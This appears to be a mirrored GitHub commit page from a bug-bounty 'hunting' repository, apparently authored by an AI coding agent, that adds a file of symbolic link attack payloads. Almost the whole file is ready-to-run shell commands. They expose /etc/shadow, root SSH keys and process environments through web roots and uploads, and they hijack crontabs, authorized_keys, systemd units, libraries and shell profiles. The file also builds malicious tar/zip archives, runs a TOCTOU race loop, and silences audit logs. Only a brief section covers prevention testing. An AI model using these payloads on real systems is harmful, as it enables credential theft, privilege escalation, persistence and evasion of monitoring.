mirror of
https://github.com/0x5t4l1n/hunting.git
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Add timing attacks, Tor-based attacks, SSJI, symbolic link attacks, and enhanced auth bypass payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
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# Symbolic Link Attack Payloads
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# ============================================
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# 1. BASIC SYMLINK CREATION
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# ============================================
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# Create symlink to sensitive files
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ln -s /etc/passwd passwd_link.txt
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ln -s /etc/shadow shadow_link.txt
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ln -s /etc/hosts hosts_link.txt
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ln -s /root/.ssh/id_rsa root_key_link
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ln -s /home/user/.ssh/authorized_keys auth_keys_link
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# Symlink to directories
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ln -s /etc/ etc_link
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ln -s /root/ root_link
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ln -s / rootfs_link
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ln -s /var/log/ logs_link
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# ============================================
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# 2. TEMPORARY FILE SYMLINK ATTACKS
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# ============================================
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# Predict and create temp file symlinks
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ln -s /etc/passwd /tmp/app_12345.tmp
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ln -s /etc/shadow /tmp/temp_file_$$.tmp
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ln -s /root/.ssh/id_rsa /tmp/upload_temp.txt
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ln -s /etc/crontab /var/tmp/app_session
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# Common temp file patterns
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ln -s /etc/passwd /tmp/php_upload_12345
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ln -s /etc/passwd /tmp/mysql.sock
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ln -s /etc/passwd /var/tmp/sess_abcd1234
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# ============================================
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# 3. LOG FILE SYMLINK ATTACKS
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# ============================================
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# Replace log files with symlinks
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ln -s /etc/passwd /var/log/app.log
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ln -s /etc/shadow /var/log/error.log
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ln -s /home/user/.ssh/authorized_keys /var/log/access.log
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ln -s /etc/crontab /var/log/system.log
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# Symlink to /dev/null for DoS
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ln -s /dev/null /var/log/app.log
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# Symlink to /dev/zero for infinite data
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ln -s /dev/zero /var/log/app.log
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# ============================================
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# 4. WEB ROOT SYMLINK ATTACKS
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# ============================================
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# Create symlinks in web directories
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ln -s /etc/passwd /var/www/html/passwd.txt
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ln -s /etc/shadow /var/www/html/shadow.txt
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ln -s /root/.ssh/id_rsa /var/www/html/key.txt
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ln -s /home/user/.bash_history /var/www/html/history.txt
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ln -s /var/log/apache2/access.log /var/www/html/access.txt
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# Symlink to entire directories
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ln -s /etc/ /var/www/html/etc
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ln -s /root/ /var/www/html/root
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ln -s /home/ /var/www/html/home
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# PHP uploads directory
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ln -s /etc/passwd /var/www/html/uploads/passwd.txt
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ln -s /etc/passwd /var/www/html/files/config.txt
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# ============================================
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# 5. CONFIGURATION FILE SYMLINK
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# ============================================
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# Replace config files
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ln -s /tmp/attacker_config /etc/app/app.conf
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ln -s /tmp/evil.ini /etc/app/database.ini
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ln -s /tmp/settings.xml /etc/app/settings.xml
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# MySQL config
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ln -s /tmp/evil.cnf /etc/mysql/my.cnf
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# Apache config
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ln -s /tmp/evil.conf /etc/apache2/sites-enabled/000-default.conf
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# ============================================
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# 6. SSH KEY INJECTION SYMLINKS
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# ============================================
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# Symlink authorized_keys
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ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys
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ln -s /tmp/attacker_keys /root/.ssh/authorized_keys
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# Symlink SSH config
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ln -s /tmp/evil_ssh_config /home/user/.ssh/config
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# Symlink known_hosts
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ln -s /dev/null /home/user/.ssh/known_hosts
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# ============================================
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# 7. ARCHIVE EXTRACTION SYMLINKS (ZIP SLIP)
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# ============================================
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# Bash commands to create malicious archives
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# Tar archive with symlink to /etc/passwd
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ln -s /etc/passwd evil_link.txt
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tar -czf evil.tar.gz evil_link.txt
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# Tar with absolute path symlink
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ln -s /etc/shadow /tmp/shadow_link
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tar -czf evil.tar.gz /tmp/shadow_link
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# Tar with directory traversal symlink
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mkdir -p a/b/c
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ln -s ../../../etc/passwd a/b/c/passwd
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tar -czf evil.tar.gz a/
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# Zip with symlink
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ln -s /etc/passwd passwd_link
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zip --symlinks evil.zip passwd_link
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# Zip with path traversal
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ln -s ../../../../../../etc/passwd link
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zip --symlinks evil.zip link
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# ============================================
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# 8. BACKUP SYMLINK ATTACKS
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# ============================================
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# Place symlinks in backup source directory
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cd /home/user/backup_source/
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ln -s /etc/shadow shadow_backup.txt
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ln -s /root/.ssh/id_rsa root_key.txt
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ln -s /var/log/auth.log auth_log.txt
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ln -s /etc/mysql/debian.cnf mysql_creds.txt
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# Symlink entire sensitive directories
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ln -s /root/.ssh/ ssh_dir_backup
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ln -s /etc/ etc_backup
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# ============================================
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# 9. CACHE DIRECTORY SYMLINKS
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# ============================================
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# Replace cache files with symlinks
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ln -s /etc/passwd /tmp/app_cache/user_data
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ln -s /home/victim/.ssh/authorized_keys /var/cache/app/session_123
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ln -s /etc/crontab /var/tmp/cache/data_456
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# ============================================
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# 10. FILE UPLOAD SYMLINK EXPLOITATION
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# ============================================
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# Create symlinks for upload testing
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ln -s /etc/passwd upload_passwd.txt
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ln -s /etc/shadow upload_shadow.txt
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ln -s /root/.ssh/id_rsa upload_key.pem
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ln -s /proc/self/environ upload_env.txt
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# Symlink with allowed extension
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ln -s /etc/passwd document.pdf
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ln -s /etc/passwd image.jpg
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ln -s /etc/passwd file.txt
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# ============================================
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# 11. TOCTOU RACE CONDITION PAYLOADS
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# ============================================
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# Continuous race condition exploit
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while true; do
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rm -f /tmp/target_file 2>/dev/null
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touch /tmp/target_file
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rm -f /tmp/target_file
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ln -s /etc/passwd /tmp/target_file
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sleep 0.001
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done
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# Python TOCTOU exploit
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# import os, time
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# while True:
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# try:
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# os.remove('/tmp/target')
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# open('/tmp/target', 'w').close()
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# os.remove('/tmp/target')
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# os.symlink('/etc/passwd', '/tmp/target')
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# except: pass
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# ============================================
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# 12. SYMLINK DIRECTORY TRAVERSAL
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# ============================================
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# Create symlink chains for traversal
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mkdir -p /tmp/uploads/a/b/c/d/e
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cd /tmp/uploads
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ln -s / a/b/c/d/e/root
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# Multiple level traversal
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ln -s ../../../../../../../etc/passwd link1.txt
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ln -s ../../../../../../etc/shadow link2.txt
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# Relative path symlinks
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cd /var/www/html/uploads
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ln -s ../../../etc/passwd passwd.txt
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# ============================================
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# 13. CRON JOB SYMLINK ATTACKS
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# ============================================
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# Symlink crontab
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ln -s /tmp/evil_cron /var/spool/cron/crontabs/root
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ln -s /tmp/attacker_cron /etc/cron.d/custom
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# Symlink cron scripts
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ln -s /tmp/evil_script.sh /etc/cron.daily/backup
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# ============================================
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# 14. DATABASE SYMLINK ATTACKS
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# ============================================
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# MySQL data directory symlinks
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ln -s /etc/passwd /var/lib/mysql/database/table.MYD
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# PostgreSQL symlinks
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ln -s /etc/shadow /var/lib/postgresql/data/pg_hba.conf
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# SQLite database symlinks
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ln -s /etc/passwd /var/www/app/database.sqlite
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# ============================================
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# 15. SESSION FILE SYMLINKS
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# ============================================
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# PHP session symlinks
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ln -s /etc/passwd /var/lib/php/sessions/sess_abc123
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ln -s /tmp/attacker_session /var/lib/php/sessions/sess_victim
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# Application session symlinks
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ln -s /etc/shadow /tmp/sessions/user_session_123
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# ============================================
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# 16. PACKAGE/DEPENDENCY SYMLINKS
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# ============================================
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# NPM/Node modules
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ln -s /tmp/evil_module /var/www/app/node_modules/package
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# Python site-packages
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ln -s /tmp/evil_module.py /usr/lib/python3/site-packages/module.py
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# ============================================
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# 17. SYSTEMD/INIT SYMLINKS
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# ============================================
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# Systemd service symlinks
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ln -s /tmp/evil.service /etc/systemd/system/app.service
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# Init script symlinks
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ln -s /tmp/evil_script /etc/init.d/custom_service
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# ============================================
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# 18. MAIL SPOOL SYMLINKS
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# ============================================
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# Mail spool symlinks
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ln -s /etc/shadow /var/mail/root
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ln -s /root/.ssh/id_rsa /var/spool/mail/user
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# ============================================
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# 19. PRINTER/DEVICE SYMLINKS
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# ============================================
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# Symlink to devices
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ln -s /dev/random /tmp/data_file
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ln -s /dev/zero /var/log/app.log
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ln -s /dev/null /tmp/output.txt
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# Printer spool
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ln -s /etc/passwd /var/spool/cups/tmp/job_123
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# ============================================
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# 20. DOCKER/CONTAINER SYMLINKS
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# ============================================
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# Docker volume symlinks
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ln -s /etc/passwd /var/lib/docker/volumes/app/_data/config.txt
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# Container mount symlinks
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ln -s /host/etc/passwd /container/app/data/passwd.txt
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# ============================================
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# 21. GIT REPOSITORY SYMLINKS
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# ============================================
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# Git hooks symlinks
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ln -s /tmp/evil_hook.sh /var/www/app/.git/hooks/pre-commit
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# Git config symlinks
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ln -s /tmp/evil_config /var/www/app/.git/config
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# ============================================
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# 22. COMPILER/BUILD SYMLINKS
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# ============================================
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# Include file symlinks
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ln -s /etc/passwd /usr/include/config.h
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# Library symlinks
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ln -s /tmp/evil.so /usr/lib/libapp.so
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# ============================================
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# 23. BROWSER CACHE SYMLINKS
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# ============================================
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# Browser profile symlinks
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ln -s /etc/passwd ~/.mozilla/firefox/profile/prefs.js
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ln -s /etc/shadow ~/.config/google-chrome/Default/Preferences
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# ============================================
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# 24. SETUID/SETGID SYMLINKS
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# ============================================
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# Symlinks to setuid binaries (for analysis)
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ln -s /usr/bin/sudo /tmp/sudo_link
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ln -s /usr/bin/passwd /tmp/passwd_link
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# ============================================
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# 25. PROCFS SYMLINKS
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# ============================================
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# Process information symlinks
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ln -s /proc/self/environ /var/www/html/env.txt
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ln -s /proc/self/cmdline /tmp/cmdline.txt
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ln -s /proc/self/cwd /tmp/cwd_link
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ln -s /proc/self/fd/0 /tmp/stdin_link
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# ============================================
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# 26. NETWORK CONFIGURATION SYMLINKS
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# ============================================
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# Network config symlinks
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ln -s /tmp/evil_hosts /etc/hosts
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ln -s /tmp/evil_resolv /etc/resolv.conf
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ln -s /tmp/evil_network /etc/network/interfaces
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# ============================================
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# 27. USER PROFILE SYMLINKS
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# ============================================
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# Shell profile symlinks
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ln -s /tmp/evil_bashrc /home/user/.bashrc
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ln -s /tmp/evil_profile /home/user/.profile
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ln -s /tmp/evil_zshrc /home/user/.zshrc
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# ============================================
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# 28. MONITORING/AUDIT SYMLINKS
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# ============================================
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# Audit log symlinks
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ln -s /dev/null /var/log/audit/audit.log
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# Monitoring config symlinks
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ln -s /tmp/evil_config /etc/nagios/nrpe.cfg
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# ============================================
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# 29. CLOUD METADATA SYMLINKS
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# ============================================
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# AWS metadata symlinks (if accessible)
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ln -s /proc/self/environ /var/www/html/aws_metadata.txt
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# ============================================
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# 30. RECURSIVE SYMLINK (DoS)
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# ============================================
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# Create circular symlinks for DoS
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ln -s /tmp/link1 /tmp/link2
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ln -s /tmp/link2 /tmp/link1
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# Self-referential symlink
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ln -s /tmp/selflink /tmp/selflink
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# ============================================
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# TESTING COMMANDS
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# ============================================
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# Check if file is a symlink
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test -L /path/to/file && echo "Is a symlink"
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# List symlinks
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find /path -type l
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# Show symlink target
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readlink /path/to/symlink
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ls -l /path/to/symlink
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# Create symlink with specific name
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ln -s /target /symlink_name
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# Force create symlink (overwrite existing)
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ln -sf /target /symlink_name
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# Create relative symlink
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ln -sr /target /symlink_name
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# ============================================
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# PREVENTION TESTING
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# ============================================
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# Test if application follows symlinks
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ln -s /etc/passwd /tmp/test_symlink.txt
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# Upload/access /tmp/test_symlink.txt
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# If contents of /etc/passwd are returned, vulnerable
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# Test O_NOFOLLOW behavior
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# Create symlink and try to open it
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# Should fail with ELOOP error if protected
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# Test path validation
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ln -s /etc/passwd allowed_dir/../../etc/passwd_link
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# Try to access via application
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# ============================================
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# WINDOWS EQUIVALENTS (JUNCTION/MKLINK)
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# ============================================
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# Windows symbolic links (requires admin)
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# mklink /D link target_directory
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# mklink file_link target_file
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# Windows junctions (no admin required)
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# mklink /J junction_dir target_directory
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# Example payloads (Windows)
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# mklink passwd.txt C:\Windows\System32\config\SAM
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# mklink /D sensitive_dir C:\Users\Administrator
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